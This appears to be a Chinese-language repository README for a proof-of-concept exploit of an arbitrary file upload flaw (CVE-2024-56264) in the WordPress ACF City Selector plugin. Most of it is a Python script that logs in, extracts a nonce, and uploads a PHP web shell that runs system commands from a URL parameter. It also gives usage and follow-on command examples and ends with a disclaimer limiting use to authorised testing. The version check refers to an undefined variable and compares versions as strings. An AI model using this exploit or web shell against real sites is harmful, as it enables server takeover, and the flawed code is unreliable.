WordPress ACF City Selector 插件任意文件上传漏洞利用工具 (CVE-2024-56264)
WordPress ACF City Selector - 任意文件上传漏洞利用工具 (CVE-2024-56264)
项目描述
本项目是一个针对 WordPress ACF City Selector 插件严重安全漏洞(CVE-2024-56264)的概念验证(PoC)利用工具。该漏洞存在于插件 1.14.0 及更早版本 中,由于插件未对上传文件进行充分验证,允许攻击者绕过安全限制,上传任意 PHP 文件(Web Shell)。成功利用后,攻击者可以在目标服务器上执行系统命令,从而导致 服务器完全沦陷。
漏洞详情
- CVE ID: CVE-2024-56264
- 发布日期: 2025年1月2日
- 受影响插件: ACF City Selector
- 受影响版本:
<= 1.14.0 - 影响类型: 远程代码执行 (RCE) - 由不受限制的文件上传导致
功能特性
- 自动化漏洞检测:自动检测目标网站上 ACF City Selector 插件的版本,判断是否存在漏洞。
- 身份认证集成:支持使用 WordPress 用户名和密码进行登录,获取上传所需的 Nonce。
- 恶意文件上传:自动生成并上传恶意的 PHP Web Shell 到目标服务器。
- 远程命令执行:上传成功后,提供 Web Shell 访问链接,支持通过 URL 参数执行系统命令。
- 清晰的执行反馈:脚本输出详细的步骤信息(如登录状态、Nonce提取、上传结果等),便于验证。
安装指南
系统要求
- Python 3.x
requests库
依赖安装
使用 pip 安装所需依赖:
pip install requests
或者,如果你有 requirements.txt 文件,可以使用:
pip install -r requirements.txt
使用说明
基础用法
usage: CVE-2024-56264.py --url URL --username USERNAME --password PASSWORD
WordPress ACF City Selector plugin <= 1.14.0 - Arbitrary File Upload vulnerability
options:
-h, --help show this help message and exit
--url URL Website base URL (e.g., http://192.168.100.74/wordpress)
--username USERNAME WordPress username
--password PASSWORD WordPress password
典型使用场景
在获得合法授权的情况下,对使用易受攻击版本的 ACF City Selector 插件的 WordPress 站点进行安全测试:
python CVE-2024-56264.py --url http://192.168.100.74:888/wordpress --username admin --password admin
预期输出
成功利用后,你将看到类似以下的输出:
[+] Detected plugin version: 1.14.0
[+] Vulnerable version detected! Proceeding with exploitation.
[+] Logged in successfully.
[+] Extracted nonce: abc1234
[+] Shell uploaded successfully: http://wordpress/wp-content/uploads/acfcs/q.php
后续利用
上传成功后,可以通过以下 URL 访问 Web Shell 并执行系统命令:
http://wordpress/wp-content/uploads/acfcs/q.php?cmd=whoami
核心代码
以下是项目中的核心 Python 实现代码,展示了漏洞检测、登录认证、Nonce 提取和文件上传的完整流程。
import requests
import sys
import argparse
from urllib.parse import urljoin
# 禁用 SSL 警告(仅用于测试环境)
requests.packages.urllib3.disable_warnings()
def check_vulnerability(url):
"""检测 ACF City Selector 插件版本并判断是否易受攻击"""
try:
if "Stable tag:" in response.text:
for line in response.text.split('\n'):
if "Stable tag:" in line:
version = line.split(":")[1].strip()
print(f"[+] Detected plugin version: {version}")
if version <= "1.14.0":
print("[+] Vulnerable version detected! Proceeding with exploitation.")
return True
else:
print("[-] Version is not vulnerable.")
return False
except Exception as e:
print(f"[-] Failed to check version: {e}")
return False
def wordpress_login(session, url, username, password):
"""模拟 WordPress 登录以获取必要的认证凭据"""
login_url = urljoin(url, "/wp-login.php")
data = {
"log": username,
"pwd": password,
"wp-submit": "Log In",
"redirect_to": urljoin(url, "/wp-admin/"),
"testcookie": "1"
}
try:
response = session.post(login_url, data=data, verify=False, timeout=10)
if "dashboard" in response.text or "wp-admin" in response.url:
print("[+] Logged in successfully.")
return True
else:
print("[-] Login failed. Check credentials.")
return False
except Exception as e:
print(f"[-] Login error: {e}")
return False
def get_upload_nonce(session, url):
"""从页面中提取上传文件所需的 nonce 值"""
admin_url = urljoin(url, "/wp-admin/admin.php?page=acf-city-selector-import-export")
try:
response = session.get(admin_url, verify=False, timeout=10)
# 查找 nonce 字段(通常位于 name 为 '_wpnonce' 或 'acfcs_nonce' 的 input 中)
import re
match = re.search(r'name="_wpnonce"\s+value="([^"]+)"', response.text)
if not match:
match = re.search(r'name="acfcs_nonce"\s+value="([^"]+)"', response.text)
if match:
nonce = match.group(1)
print(f"[+] Extracted nonce: {nonce}")
return nonce
else:
print("[-] Could not extract nonce.")
return None
except Exception as e:
print(f"[-] Failed to get nonce: {e}")
return None
def upload_shell(session, url, nonce):
"""上传恶意 PHP shell"""
upload_url = urljoin(url, "/wp-admin/admin-ajax.php")
# 恶意 PHP shell 内容(简单示例)
shell_content = """<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
system($_REQUEST['cmd']);
echo "</pre>";
die;
}
?>"""
files = {
'file': ('q.php', shell_content, 'application/x-php')
}
data = {
'action': 'acfcs_upload_cities',
'_wpnonce': nonce
}
try:
response = session.post(upload_url, data=data, files=files, verify=False, timeout=10)
if "uploaded" in response.text.lower() or "success" in response.text.lower():
shell_url = urljoin(url, "/wp-content/uploads/acfcs/q.php")
print(f"[+] Shell uploaded successfully: {shell_url}")
return shell_url
else:
print("[-] Upload failed.")
return None
except Exception as e:
print(f"[-] Upload error: {e}")
return None
def main():
parser = argparse.ArgumentParser(description="WordPress ACF City Selector plugin <= 1.14.0 - Arbitrary File Upload vulnerability")
parser.add_argument("--url", required=True, help="Website base URL (e.g., http://192.168.100.74/wordpress)")
parser.add_argument("--username", required=True, help="WordPress username")
parser.add_argument("--password", required=True, help="WordPress password")
args = parser.parse_args()
# 确保 URL 末尾没有多余的斜杠
base_url = args.url.rstrip('/')
# 步骤 1: 检查漏洞版本
if not check_vulnerability(base_url):
print("[-] Target is not vulnerable. Exiting.")
sys.exit(1)
# 步骤 2: 创建会话并进行登录
session = requests.Session()
if not wordpress_login(session, base_url, args.username, args.password):
sys.exit(1)
# 步骤 3: 获取上传所需的 nonce
nonce = get_upload_nonce(session, base_url)
if not nonce:
sys.exit(1)
# 步骤 4: 上传 Web Shell
shell_url = upload_shell(session, base_url, nonce)
if shell_url:
print(f"\n[+] Exploit completed. Access shell at: {shell_url}?cmd=whoami")
else:
print("[-] Exploit failed.")
if __name__ == "__main__":
main()
代码注释说明
wordpress_login(session, url, username, password):使用提供的凭据登录 WordPress,获取具有上传权限的会话。get_upload_nonce(session, url):从插件的导入/导出页面中解析出上传文件所需的 WordPress Nonce 值,用于绕过 CSRF 保护。upload_shell(session, url, nonce):构造带有恶意 PHP 代码的 multipart/form-data 请求,利用插件中的文件上传功能将 shell 写入服务器的/wp-content/uploads/acfcs/目录。main():协调整个利用流程,从参数解析到最终的命令执行提示。
⚠ 免责声明
本工具仅限用于教育目的和授权的安全测试。未经授权的使用是违法的,可能导致严重后果。作者 不对任何滥用行为负责。在使用本工具之前,请确保你已获得目标系统的明确书面授权。 6HFtX5dABrKlqXeO5PUv/xgdEriXlAOE9c4ChqzQrWA=